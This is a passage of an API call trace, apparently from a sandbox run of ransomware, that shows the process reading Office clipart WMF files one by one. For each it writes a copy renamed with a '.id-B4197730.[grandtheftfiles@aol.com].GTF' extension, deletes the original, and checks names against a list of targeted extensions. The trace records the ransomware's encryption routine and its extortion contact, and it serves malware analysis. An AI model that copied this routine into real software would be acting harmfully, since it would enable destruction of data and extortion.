	[0184.338] lstrlenW (lpString=".dbf") returned 4
	[0184.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.338] lstrlenW (lpString=".1cd") returned 4
	[0184.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.338] lstrlenW (lpString=".jpg") returned 4
	[0184.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.338] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.338] lstrlenW (lpString="J0187859.WMF") returned 12
	[0184.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.339] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2732) returned 1
	[0184.339] CloseHandle (hObject=0x3fc) returned 1
	[0184.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf")) returned 0x220
	[0184.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.340] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.340] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0184.341] GetLastError () returned 0x0
	[0184.341] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xaac, lpOverlapped=0x0) returned 1
	[0184.343] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xab0, lpOverlapped=0x0) returned 1
	[0184.344] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.344] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.344] SetEndOfFile (hFile=0x404) returned 1
	[0184.344] CloseHandle (hObject=0x404) returned 1
	[0184.344] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.344] SetEndOfFile (hFile=0x3fc) returned 1
	[0184.348] CloseHandle (hObject=0x3fc) returned 1
	[0184.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf")) returned 1
	[0184.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.349] lstrlenW (lpString=".doc") returned 4
	[0184.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.349] lstrlenW (lpString=".docx") returned 5
	[0184.349] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.349] lstrlenW (lpString=".pdf") returned 4
	[0184.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString=".xls") returned 4
	[0184.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.350] lstrlenW (lpString=".xlsx") returned 5
	[0184.350] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.350] lstrlenW (lpString=".ppt") returned 4
	[0184.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.350] lstrlenW (lpString=".zip") returned 4
	[0184.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.350] lstrlenW (lpString=".rar") returned 4
	[0184.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString=".bz2") returned 4
	[0184.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString=".7z") returned 3
	[0184.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.350] lstrlenW (lpString=".dbf") returned 4
	[0184.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.350] lstrlenW (lpString=".1cd") returned 4
	[0184.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.350] lstrlenW (lpString=".jpg") returned 4
	[0184.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.350] lstrlenW (lpString=".doc") returned 4
	[0184.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString=".docx") returned 5
	[0184.350] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.350] lstrlenW (lpString=".pdf") returned 4
	[0184.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.350] lstrlenW (lpString=".xls") returned 4
	[0184.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.351] lstrlenW (lpString=".xlsx") returned 5
	[0184.351] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.351] lstrlenW (lpString=".ppt") returned 4
	[0184.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.351] lstrlenW (lpString=".zip") returned 4
	[0184.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.351] lstrlenW (lpString=".rar") returned 4
	[0184.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.351] lstrlenW (lpString=".bz2") returned 4
	[0184.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.351] lstrlenW (lpString=".7z") returned 3
	[0184.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.351] lstrlenW (lpString=".dbf") returned 4
	[0184.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.351] lstrlenW (lpString=".1cd") returned 4
	[0184.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68
	[0184.351] lstrlenW (lpString=".jpg") returned 4
	[0184.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.351] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.351] lstrlenW (lpString="J0187861.WMF") returned 12
	[0184.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.352] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=9108) returned 1
	[0184.352] CloseHandle (hObject=0x3fc) returned 1
	[0184.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 0x220
	[0184.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.353] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.353] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0184.354] GetLastError () returned 0x0
	[0184.354] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2394, lpOverlapped=0x0) returned 1
	[0184.356] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x23a0, lpOverlapped=0x0) returned 1
	[0184.357] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.357] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.357] SetEndOfFile (hFile=0x404) returned 1
	[0184.357] CloseHandle (hObject=0x404) returned 1
	[0184.357] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.357] SetEndOfFile (hFile=0x3fc) returned 1
	[0184.360] CloseHandle (hObject=0x3fc) returned 1
	[0184.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 1
	[0184.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.361] lstrlenW (lpString=".doc") returned 4
	[0184.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.361] lstrlenW (lpString=".docx") returned 5
	[0184.361] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.361] lstrlenW (lpString=".pdf") returned 4
	[0184.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.361] lstrlenW (lpString=".xls") returned 4
	[0184.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.361] lstrlenW (lpString=".xlsx") returned 5
	[0184.361] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.361] lstrlenW (lpString=".ppt") returned 4
	[0184.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.361] lstrlenW (lpString=".zip") returned 4
	[0184.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.361] lstrlenW (lpString=".rar") returned 4
	[0184.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.361] lstrlenW (lpString=".bz2") returned 4
	[0184.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.361] lstrlenW (lpString=".7z") returned 3
	[0184.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.362] lstrlenW (lpString=".dbf") returned 4
	[0184.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.362] lstrlenW (lpString=".1cd") returned 4
	[0184.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.362] lstrlenW (lpString=".jpg") returned 4
	[0184.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.362] lstrlenW (lpString=".doc") returned 4
	[0184.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString=".docx") returned 5
	[0184.362] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.362] lstrlenW (lpString=".pdf") returned 4
	[0184.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString=".xls") returned 4
	[0184.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.362] lstrlenW (lpString=".xlsx") returned 5
	[0184.362] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.362] lstrlenW (lpString=".ppt") returned 4
	[0184.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.362] lstrlenW (lpString=".zip") returned 4
	[0184.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.362] lstrlenW (lpString=".rar") returned 4
	[0184.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString=".bz2") returned 4
	[0184.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString=".7z") returned 3
	[0184.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.362] lstrlenW (lpString=".dbf") returned 4
	[0184.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.363] lstrlenW (lpString=".1cd") returned 4
	[0184.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68
	[0184.363] lstrlenW (lpString=".jpg") returned 4
	[0184.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.363] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.363] lstrlenW (lpString="J0187863.WMF") returned 12
	[0184.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.364] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=10820) returned 1
	[0184.364] CloseHandle (hObject=0x3fc) returned 1
	[0184.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 0x220
	[0184.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.364] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.364] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0184.365] GetLastError () returned 0x0
	[0184.365] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2a44, lpOverlapped=0x0) returned 1
	[0184.545] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2a50, lpOverlapped=0x0) returned 1
	[0184.546] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.546] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.546] SetEndOfFile (hFile=0x404) returned 1
	[0184.546] CloseHandle (hObject=0x404) returned 1
	[0184.546] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.546] SetEndOfFile (hFile=0x3fc) returned 1
	[0184.549] CloseHandle (hObject=0x3fc) returned 1
	[0184.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 1
	[0184.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.550] lstrlenW (lpString=".doc") returned 4
	[0184.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.550] lstrlenW (lpString=".docx") returned 5
	[0184.550] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0184.550] lstrlenW (lpString=".pdf") returned 4
	[0184.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.550] lstrlenW (lpString=".xls") returned 4
	[0184.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.550] lstrlenW (lpString=".xlsx") returned 5
	[0184.550] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0184.550] lstrlenW (lpString=".ppt") returned 4
	[0184.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.550] lstrlenW (lpString=".zip") returned 4
	[0184.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.550] lstrlenW (lpString=".rar") returned 4
	[0184.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.550] lstrlenW (lpString=".bz2") returned 4
	[0184.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.550] lstrlenW (lpString=".7z") returned 3
	[0184.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.551] lstrlenW (lpString=".dbf") returned 4
	[0184.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.551] lstrlenW (lpString=".1cd") returned 4
	[0184.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.551] lstrlenW (lpString=".jpg") returned 4
	[0184.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.551] lstrlenW (lpString=".doc") returned 4
	[0184.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.551] lstrlenW (lpString=".docx") returned 5
	[0184.551] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0184.551] lstrlenW (lpString=".pdf") returned 4
	[0184.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.551] lstrlenW (lpString=".xls") returned 4
	[0184.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.551] lstrlenW (lpString=".xlsx") returned 5
	[0184.551] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0184.551] lstrlenW (lpString=".ppt") returned 4
	[0184.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.551] lstrlenW (lpString=".zip") returned 4
	[0184.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.551] lstrlenW (lpString=".rar") returned 4
	[0184.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.551] lstrlenW (lpString=".bz2") returned 4
	[0184.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.551] lstrlenW (lpString=".7z") returned 3
	[0184.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
